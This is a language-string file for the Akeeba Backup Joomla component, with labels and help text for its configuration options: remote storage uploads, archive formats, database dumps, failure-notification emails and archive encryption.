COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSLOWERCASE_TITLE="Lowercase bucket name"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSSECRETKEY_DESCRIPTION="Your DreamObjects Secret Key, made available to you under the DreamHost control panel"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSSECRETKEY_TITLE="Secret Key"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSUSESSL_DESCRIPTION="If enabled, a secure (HTTPS) connection will be used when uploading your files. While it increases security of transferred data, it also increases the possibility of backup failure due to timeout."
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSUSESSL_TITLE="Use SSL"
COM_AKEEBABACKUP_CONFIG_DROPBOXDIRECTORY_DESCRIPTION="The directory within your Dropbox account where the backup archives will be stored. Leave blank to store files inside the root."
COM_AKEEBABACKUP_CONFIG_DROPBOXDIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_DROPBOXREFRESHTOKEN_DESCRIPTION="This is the Refresh Token which connects Akeeba Backup to Dropbox. This is <strong>site-specific</strong> and used to re-authorise the Dropbox connection when the short-lived Access Token expires. If you have multiple sites, you must use the Step 1 buttons on each and every site you want authorise. Please <strong>DO NOT</strong> copy the access or refresh token across multiple sites. It will cause the Dropbox authentication to become out of sync and you'll need to reconnect all of your sites with Dropbox."
COM_AKEEBABACKUP_CONFIG_DROPBOXREFRESHTOKEN_TITLE="Refresh Token"
COM_AKEEBABACKUP_CONFIG_DROPBOXTOKEN_DESCRIPTION="This is automatically fetched from Dropbox when you click the Step 2 button above. If you have multiple sites, you must use the Step 1 and Step 2 buttons only on the FIRST site you want authorise. Then please copy the Token, Token Secret Key and User ID from the first site to all other sites you want to connect to Dropbox."
COM_AKEEBABACKUP_CONFIG_DROPBOXTOKEN_TITLE="Access Token"
COM_AKEEBABACKUP_CONFIG_DROPBOX_TEAM_DESC="Check if you are a member of a team using Dropbox for Business and want to use your team's folder to store backups. Remember to prefix the Directory below with the name of your team folder. For example, if Dropbox' web interface shows an “Acme Corp Team Folder” in the Files page and you want to put your backups in a folder called “Backups” inside it you should use the Directory name <code>Acme Corp Team Folder/Backups</code>, not just <code>Backups</code>."
COM_AKEEBABACKUP_CONFIG_DROPBOX_TEAM_TITLE="Dropbox for Business"
COM_AKEEBABACKUP_CONFIG_DUMPENGINE_DESCRIPTION="Defines how Akeeba Backup will process your database(s) in order to produce a database backup file."
COM_AKEEBABACKUP_CONFIG_DUMPENGINE_TITLE="Database backup engine"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_COMMON="Common Settings"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_MYSQL="MySQL Settings"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_POSTGRES="PostgreSQL Settings"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_REVERSE="Reverse engineering database dump settings"
COM_AKEEBABACKUP_CONFIG_PGDUMP_PATH_DESCRIPTION="The absolute filesystem path to the pg_dump command line tool on your server. If left empty, Akeeba Backup will try to auto-detect it."
COM_AKEEBABACKUP_CONFIG_PGDUMP_PATH_TITLE="Path to pg_dump"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_DESCRIPTION="Transfers the site files to a remote FTP server, without archiving them first. This archiver engine uses the cURL library which provides better compatibility with a wide range of FTP servers."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_PASVWORKAROUND_DESCRIPTION="Some badly configured or misbehaving FTP servers return the wrong IP address when FTP Passive mode is enabled. Enable this option to force the FTP library to ignore the wrong IP returned by the FTP server, instead using the FTP server's public IP."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_PASVWORKAROUND_TITLE="Passive mode workaround"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_TITLE="DirectFTP over cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTP_DESCRIPTION="Transfers the site files to a remote FTP server, without archiving them first"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTP_TITLE="DirectFTP"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTPCURL_DESCRIPTION="Transfers the site files to a remote SFTP server, without archiving them first. This archiver engine uses the cURL library which provides better compatibility with a wide range of FTP servers."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTPCURL_TITLE="DirectSFTP over cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTP_DESCRIPTION="Transfers the site files to a remote SFTP server, without archiving them first. WARNING: Your source server needs to have PHP's SSL2 extension installed."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTP_TITLE="DirectSFTP"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPA_DESCRIPTION="An open-source archive format optimised for fast archive creation and extraction using PHP code"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPA_TITLE="JPA format (recommended)"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPS_DESCRIPTION="Creates archives encrypted with the industry-standard AES-128 encryption method, in a format very similar to JPA. Requires either of the mcrypt or openssl PHP extensions to be installed and activated on your site."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPS_TITLE="Encrypted Archives (JPS)"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIPNATIVE_DESCRIPTION="The ZIP archive will be created using PHP's ZipArchive class. IMPORTANT: This engine does not support archive splitting or symlink handling and can, therefore, lead to backup issues. If you get timeout errors, AJAX errors or Internal Server Error messages you will have to switch to a different archiver engine and enable archive splitting."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIPNATIVE_TITLE="ZIP using ZipArchive class"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIP_DESCRIPTION="Standard ZIP files, a.k.a. \"Compressed folders\", natively supported by all leading operating systems"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIP_TITLE="ZIP format"
COM_AKEEBABACKUP_CONFIG_ENGINE_DUMP_NATIVE_DESCRIPTION="Uses PHP code to produce an accurate database dump"
COM_AKEEBABACKUP_CONFIG_ENGINE_DUMP_NATIVE_TITLE="Native MySQL backup engine"
COM_AKEEBABACKUP_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE="Fail backup on upload failure"
COM_AKEEBABACKUP_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION="Immediately stops the backup process, marking it as failed, if an upload error occurs. <strong>This option can be misleading and dangerous.</strong> You may have a full, valid backup which simply failed uploading in whole or in part. Enabling this option will remove the remaining backup archive files from your server and leave behind any archive files (partially) uploaded to the remote storage. In other words, you are left with no working backup. There are only very few use cases where this makes more sense than the default behaviour which allows you to resume the backup archive file upload through the Manage Backups page. As a result, we strongly recommend that this option is enabled only by expert users who fully understand the implications of doing so."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_AZURE_DESCRIPTION="Uploads the backup archive to Microsoft Windows Azure BLOB Storage."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_AZURE_TITLE="Upload to Microsoft Windows Azure BLOB Storage"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BACKBLAZE_DESCRIPTION="Uploads the backup archive to BackBlaze."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BACKBLAZE_TITLE="Upload to BackBlaze B2"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BOX_DESCRIPTION="Uploads the backup archive to Box.com. Please read the documentation."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BOX_TITLE="Upload to Box.com"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDFILES_DESCRIPTION="Uploads the backup archive to RackSpace CloudFiles.<br/><strong>Remember to set a split archive size of 2-30Mb or you risk backup failure due to timeouts!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDFILES_TITLE="Upload to RackSpace CloudFiles"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDME_DESCRIPTION="Uploads the backup archive to CloudMe.<br/><strong>Remember to set a split archive size of 2-30Mb or you risk backup failure due to timeouts!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDME_TITLE="Upload to CloudMe"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DREAMOBJECTS_DESCRIPTION="Uploads the backup archive to DreamObjects.<br/><strong>Remember to set a split archive size of 2-30Mb or you risk backup failure due to timeouts!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DREAMOBJECTS_TITLE="Upload to DreamObjects"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DROPBOX2_DESCRIPTION="Uploads the backup archive to Dropbox using the Dropbox V2 API. This API is faster and lets you easily connect your Dropbox account to multiple sites."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DROPBOX2_TITLE="Upload to Dropbox (v2 API)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_EMAIL_DESCRIPTION="Sends you the backup archive as an email attachment.<br/><strong>Remember to set a split archive size of 1-2Mb or you risk backup failure due to timeouts and memory outage!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_EMAIL_TITLE="Send by Email"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTPCURL_DESCRIPTION="Uploads the backup archive to a remote FTP or FTPS (FTP over Implicit SSL) server.<br/>This post-processing engine uses the cURL library which provides better compatibility with a wide range of FTP servers.<br/><strong>Remember to set a split archive size of 2-30Mb or you risk backup failure due to timeouts!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTPCURL_TITLE="Upload to Remote FTP server using cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTP_DESCRIPTION="Uploads the backup archive to a remote FTP or FTPS (FTP over Implicit SSL) server.<br/><strong>Remember to set a split archive size of 2-30Mb or you risk backup failure due to timeouts!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTP_TITLE="Upload to Remote FTP server"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLEDRIVE_DESCRIPTION="Uploads the backup archive to Google Drive. Please read the documentation."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLEDRIVE_TITLE="Upload to Google Drive"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGEJSON_DESCRIPTION="Uploads the backup archive to Google Storage using the modern JSON API. This is the recommended integration with Google Storage.<br/><strong>Remember to set a split archive size of 2-30Mb or you risk backup failure due to timeouts!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGEJSON_TITLE="Upload to Google Storage (JSON API)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGE_DESCRIPTION="Uploads the backup archive to Google Storage using the legacy S3 API emulation. This is deprecated and will be removed in the future. Please use the JSON API option instead.<br/><strong>Remember to set a split archive size of 2-30Mb or you risk backup failure due to timeouts!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGE_TITLE="Upload to Google Storage (Legacy S3 API)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_IDRIVESYNC_DESCRIPTION="Uploads the backup archive to iDriveSync EVS (iDriveSync.com).<br/><strong>Remember to set a split archive size of 2-30Mb or you risk backup failure due to timeouts!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_IDRIVESYNC_TITLE="Upload to iDriveSync"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_NONE_DESCRIPTION="Leaves the backup archive files on the server"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_NONE_TITLE="No post-processing"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEBUSINESS_DESCRIPTION="Uploads the backup archive to Microsoft OneDrive or Microsoft OneDrive for Business."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEBUSINESS_TITLE="Upload to Microsoft OneDrive or OneDrive for Business"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVE_DESCRIPTION="Uploads the backup archive to Microsoft OneDrive. This only supports personal drives, created using your personal Microsoft Account. It does not support OneDrive for Business and OneDrive accounts created through a school / work account or a Microsoft Office 365 subscription. This upload method will be REMOVED in a future version of Akeeba Backup. Use the Upload To Microsoft OneDrive method instead."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVE_TITLE="Upload to Microsoft OneDrive (LEGACY)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_OVH_DESCRIPTION="Uploads the backup archive to OVH Object Storage. <br/><strong>Remember to set a split archive size of 2-30Mb or you risk backup failure due to timeouts!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_OVH_TITLE="Upload to OVH Object Storage"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_PCLOUD_DESCRIPTION="Uploads the backup archive to pCloud. THIS POST-PROCESSING ENGINE WILL BE REMOVED. AUTHENTICATION IS NOT WORKING BECAUSE OF ISSUES ON pCloud's API SERVER."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_PCLOUD_TITLE="Upload to pCloud (DO NOT USE - WILL BE REMOVED)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_S3_DESCRIPTION="Uploads the backup archive to Amazon S3. It allows you to use both the new (AWS4) authentication required for newer S3 location and the old (AWS2) authentication required for third party storage providers offerring an S3-compatible API.<br/><strong>If you disable multipart uploads remember to set a split archive size of 2-30Mb or you risk backup failure due to timeouts!</strong><br/>If you want to use Amazon STS instead of an Access and Secret Key please read the documentation."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_S3_TITLE="Upload to Amazon S3"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTPCURL_DESCRIPTION="Uploads the backup archive to a remote SFTP (SSH) server. This is a file transfer over SSH using a protocol called SFTP which is <em>entirely different</em> to FTP and FTPS.<br/>This post-processing engine uses cURL for the data transfer, a library which is compatible with a wide range of SFTP servers.<br/><strong>Remember to set a split archive size of 2-30Mb or you risk backup failure due to timeouts!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTPCURL_TITLE="Upload to Remote SFTP (SSH) server using cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTP_DESCRIPTION="Uploads the backup archive to a remote SFTP (SSH) server. This is a file transfer over SSH using a protocol called SFTP which is <em>entirely different</em> to FTP and FTPS.<br/><strong>Remember to set a split archive size of 2-30Mb or you risk backup failure due to timeouts!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTP_TITLE="Upload to Remote SFTP (SSH) server"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SUGARSYNC_DESCRIPTION="DEAD INTEGRATION. SugarSync retired their service in 2024. While their API documentation and access key pages are still online, the service endpoints no longer respond and simply time out. Do not use this upload method. It will be removed from Akeeba Backup before the end of 2026."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SUGARSYNC_TITLE="Upload to SugarSync (DEAD - WILL BE REMOVED)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SWIFT_DESCRIPTION="Uploads the backup archive to any OpenStack Swift object storage server, e.g. one created with the Ubuntu distribution of OpenStack or other private clouds. Do NOT use this method with RackSpace CloudFiles! CloudFiles uses a custom authentication method which is incompatible with OpenStack's Keystone identity service (what literally every other OpenStack implementation uses).<br/><strong>Remember to set a split archive size of 2-30Mb or you risk backup failure due to timeouts!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SWIFT_TITLE="Upload to OpenStack Swift object storage"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_WEBDAV_DESCRIPTION="Uploads the backup archive to any storage service that supports WebDAV protocol.<br/><strong>Remember to set a split archive size of 2-30Mb or you risk backup failure due to timeouts!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_WEBDAV_TITLE="Upload using WebDAV"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_LARGE_DESCRIPTION="A file scanner optimised for backing up sites with directories containing hundreds of files (e.g. blogs and news portals)"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_LARGE_TITLE="Large Site Scanner"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_SMART_DESCRIPTION="Intelligently balances scanning speed and time-out avoidance"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_SMART_TITLE="Smart scanner"
COM_AKEEBABACKUP_CONFIG_ERR_DECRYPTION="Could not decrypt settings. Your server does not support settings encryption or the encryption key file has been modified or deleted."
COM_AKEEBABACKUP_CONFIG_EXTENDEDINSERTS_DESCRIPTION="If checked, the database dump will be made of extended INSERT statements, i.e. a single statement to restore multiple rows of data. It is highly recommended that you keep this option enabled as it will speed up the restoration process and works around query quota limits on restrictive hosts."
COM_AKEEBABACKUP_CONFIG_EXTENDEDINSERTS_TITLE="Generate extended INSERTs"

COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_SEPARATOR="<strong>Check for failed uploads</strong>"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILADDRESS_LABEL="Failed Upload Email Address"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILADDRESS_DESC="Send the upload failure email to this address. Leave blank to email all Super Users."
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILSUBJECT_LABEL="Failed Upload Email Subject"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILSUBJECT_DESC="The subject for the emails notifying you of failed uploads. Leave blank to use the default. You can use all of Akeeba Backup's variables you can use for naming archive files, e.g. [HOST] and [DATE]"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILBODY_LABEL="Failed Upload Email Body"
COM_AKEEBABACKUP_CONFIG_UPLOADFAILURE_EMAILBODY_DESC="Leave blank to use the default. You can use all of Akeeba Backup's variables you can use for naming archive files, e.g. [HOST] and [DATE]."

COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILADDRESS_DESC="Send email to this address (leave blank to email all Super Users)"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILADDRESS_LABEL="Email address"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILBODY_DESC="Leave blank to use the default. You can use all of Akeeba Backup's variables you can use for naming archive files, e.g. [HOST] and [DATE]."
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILBODY_LABEL="Email Body"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILSUBJECT_DESC="Leave blank to use the default. You can use all of Akeeba Backup's variables you can use for naming archive files, e.g. [HOST] and [DATE]"
COM_AKEEBABACKUP_CONFIG_FAILURE_EMAILSUBJECT_LABEL="Email Subject"
COM_AKEEBABACKUP_CONFIG_FAILURE_FEBENABLE_DESC="Allows checking for failed backups using a front-end scheduling URL. Please remember to go to Akeeba Backup, click on Options, then the Frontend tab. Set “Enable Legacy Front-end Backup API (remote CRON jobs)” to Yes to enable this feature."
COM_AKEEBABACKUP_CONFIG_FAILURE_FEBENABLE_LABEL="Enabled failed backups check from the front-end"

COM_AKEEBABACKUP_CONFIG_FAILURE_TIMEOUT_DESC="A backup will be considered stuck (failed) after this many seconds of inactivity.<br/>DON'T TOUCH THIS VALUE UNLESS YOU KNOW WHAT YOU'RE DOING!"
COM_AKEEBABACKUP_CONFIG_FAILURE_TIMEOUT_LABEL="Stuck backup timeout"
COM_AKEEBABACKUP_CONFIG_FEEMAILBODY_DESC="Leave blank to use default. You can use all of Akeeba Backup's variables you can use for naming archive files, e.g. [HOST] and [DATE]. You can also use [PROFILENUMBER] for the current profile's number, [PROFILENAME] for the current profile's name, [PARTCOUNT] for the number of total generated backup archive's parts, [FILELIST] for a list of backup archive parts and [REMOTESTATUS] for an indication on whether the upload to remote storage completed successfully."
COM_AKEEBABACKUP_CONFIG_FEEMAILBODY_LABEL="Email Body"
COM_AKEEBABACKUP_CONFIG_FEEMAILSUBJECT_DESC="Leave blank to use default. You can use all of Akeeba Backup's variables you can use for naming archive files, e.g. [HOST] and [DATE]"
COM_AKEEBABACKUP_CONFIG_FEEMAILSUBJECT_LABEL="Email Subject"
COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_DEFAULT="Default Joomla! behaviour"
COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_DESC="The backup date and time -as recorded in the filename, default description and emails- will be expressed in this timezone. This options affects all backup origins i.e. all backups, no matter how they are taken (through Akeeba Backup itself, the remote JSON API etc)."
COM_AKEEBABACKUP_CONFIG_FORCEDBACKUPTZ_LABEL="Backup timezone"
COM_AKEEBABACKUP_CONFIG_FRONTENDEMAIL_DESC="Send a notification e-mail after taking a backup with the Front-end Backup (Legacy API) or JSON API feature."
COM_AKEEBABACKUP_CONFIG_FRONTENDEMAIL_LABEL="Email on backup completion"
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_ALWAYS="Always"
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_DESC="When should I send the email on backup completion? Always means every time a backup completed. Upload Failed means that the email is only sent if the backup is complete but the upload to remote storage did not complete successfully. If the backup fails no email can be sent by this feature; check the Schedule Automatic Backups page for information on receiving email about failed backups."
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_FAILEDUPLOAD="Upload Failed"
COM_AKEEBABACKUP_CONFIG_FRONTEND_EMAIL_WHEN_LABEL="When to send the email"
COM_AKEEBABACKUP_CONFIG_FRONTEND_HEADER_DESC="<strong>These options only apply to Akeeba Backup Professional</strong>. Control the remote and scheduled features options for Akeeba Backup. For more information on scheduling backups please check the Scheduling Information page in Akeeba Backup Professional or our documentation."
COM_AKEEBABACKUP_CONFIG_FRONTEND_HEADER_LABEL="Front-end backup"
COM_AKEEBABACKUP_CONFIG_FTPTEST_BADPREFIX="You are NOT supposed to add the ftp:// prefix to your FTP Hostname. Please remove the ftp:// prefix and retry."
COM_AKEEBABACKUP_CONFIG_FTPTEST_NOUPLOAD="Akeeba Backup was able to connect to your server, but it could not upload a test file. Backup upload could fail."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_ACCESSTOKEN_DESCRIPTION="Filled in automatically when you complete the authentication Step 1 above. If you are linking another site to the same Google Drive account DO NOT copy the access token and DO NOT run the authentication. Instead, simply copy the Refresh Token from the previous site to this one."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_ACCESSTOKEN_TITLE="Access Token"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_DIRECTORY_DESCRIPTION="The directory within the Google Drive to store the backup archives. Please use forward slashes. Correct: some/thing. Wrong: some\\thing. A single forward slash means that archives will be stored in the drive's root. READ THE DOCUMENTATION: Paths in Google Drive are ambiguous!"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_DIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_REFRESHTOKEN_TITLE="Refresh Token"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_REFRESHTEAMDRIVES_TITLE="Reload the list of Drives"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_DESCRIPTION="Which Google Drive you want your files stored into. You need to finish authentication before this list is populated. Only makes sense when you have access to Google Team Drives (e.g. G Suite business or enterprise plan users). If unsure use the “Google Drive (personal)” option."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_OPT_PERSONAL="Google Drive (personal)"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_TEAMDRIVE_TITLE="Drive"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_UPLOADTOSHAREDWITHME_TITLE="Upload to “Shared With Me” folders"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_UPLOADTOSHAREDWITHME_DESCRIPTION="When enabled, Akeeba Backup will look for folders in the Shared With me collection before looking for a same-named folder in your Drive. This is much slower and might lead to uploading into the wrong folder if many shared folders with the same named exist in your Google Drive account."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEACCESSKEY_DESCRIPTION="Your Google Storage Access Key, made available to you under the Google Cloud Storage key management tool (https://code.google.com/apis/console#:storage:legacy)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEACCESSKEY_TITLE="Access Key"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEBUCKET_DESCRIPTION="Your Google Storage bucket name. Make sure it's typed as shown in the Google Cloud Storage browser web application (https://sandbox.google.com/storage)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEBUCKET_TITLE="Bucket"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEDIRECTORY_DESCRIPTION="The directory within your bucket where the backup archives will be stored. Leave blank to store files inside the bucket's root."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEDIRECTORY_TITLE="Directory"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEJSON_CREDS_DESC="Paste here the contents of the JSON credentials file Google Cloud Console produced when setting up the Service Account for the backup software. Remember to include the curly braces in the beginning and end of the text."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEJSON_CREDS_TITLE="Contents of googlestorage.json (read the documentation)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGELOWERCASE_DESCRIPTION="If enabled, Akeeba Backup will try to change the bucket name to all lowercase letters, i.e. MyBucket will be converted to mybucket. If you have created a bucket with uppercase letters, e.g. MyNewBucket, uncheck this option and make sure the bucket name is spelled exactly as it appears in your Google Cloud Storage browser web application (https://sandbox.google.com/storage)."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGELOWERCASE_TITLE="Lowercase bucket name"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGESECRETKEY_DESCRIPTION="Your Google Storage Secret Key, made available to you under the Google Cloud Storage key management tool (https://code.google.com/apis/console#:storage:legacy)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGESECRETKEY_TITLE="Secret Key"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEUSESSL_DESCRIPTION="If enabled, a secure (HTTPS) connection will be used when uploading your files. While it increases security of transferred data, it also increases the possibility of backup failure due to timeout."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGEUSESSL_TITLE="Use SSL"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_COLDLINE="Coldline Storage"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_DESCRIPTION="Change the storage class of the uploaded backup archives. “None” means that the files will be stored with the default storage class specified in your bucket. Please note that options other than Standard may be cheaper to store but they may incur additional fees if you download them or delete them. Please consult Google for pricing information."
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_NEARLINE="Nearline Storage"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_NONE="None (let the bucket decide)"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_STANDARD="Standard Storage"
COM_AKEEBABACKUP_CONFIG_GOOGLESTORAGE_STORAGECLASS_TITLE="Storage Class"
COM_AKEEBABACKUP_CONFIG_HEADER_BASIC="Basic Configuration"
COM_AKEEBABACKUP_CONFIG_HEADER_CONFWIZ="Let Akeeba Backup configure itself?"
COM_AKEEBABACKUP_CONFIG_HEADER_OPTIONALFILTERS="Optional filters"
COM_AKEEBABACKUP_CONFIG_HEADER_QUOTA="Quota management"
COM_AKEEBABACKUP_CONFIG_HEADER_TUNING="Fine tuning"
COM_AKEEBABACKUP_CONFIG_INSTALLER_DESCRIPTION="When performing a full site backup, Akeeba Backup embeds the restoration script defined here to the archive. This allows a restoration of your site from scratch, without having to install your CMS or Akeeba Backup, even when your site or server is completely destroyed"
COM_AKEEBABACKUP_CONFIG_INSTALLER_TITLE="Embedded restoration script"
COM_AKEEBABACKUP_CONFIG_JPS_KEY_DESCRIPTION="This key will be used to encrypt your archive's contents. The key is case sensitive, i.e. ABC, abc and Abc are three different passwords. Keep a copy of the password in a safe place! If you lose it there is no way to recover it."
COM_AKEEBABACKUP_CONFIG_JPS_KEY_TITLE="Encryption key"
COM_AKEEBABACKUP_CONFIG_JPS_PBKDF2USESTATICSALT_DESCRIPTION="When enabled (default), your password will be expanded to a cryptographic key used throughout the archive. This is fast but in the very unlikely event that an attacker with ample resources manages to reverse engineer the cryptographic key from one encrypted block in the file -without brute forcing your password itself- they can then decrypt the entire backup archive. When disabled a different cryptographic key will be derived from your password on each encrypted block which is MUCH slower but protects you against this type of attack, requiring the attacker to brute force the password which is much slower."
COM_AKEEBABACKUP_CONFIG_JPS_PBKDF2USESTATICSALT_TITLE="Archive-wide key expansion"
COM_AKEEBABACKUP_CONFIG_JSONAPI_ENABLED_DESC="The Akeeba Backup JSON API allows you to take and manage backups, as well as manage Akeeba Backup options remotely. You need to enable this option if you plan on taking, downloading or manage backups for example with Akeeba Remote CLI, Akeeba UNiTE and backup scheduling services."
COM_AKEEBABACKUP_CONFIG_JSONAPI_ENABLED_LABEL="Enable JSON API (remote backup)"
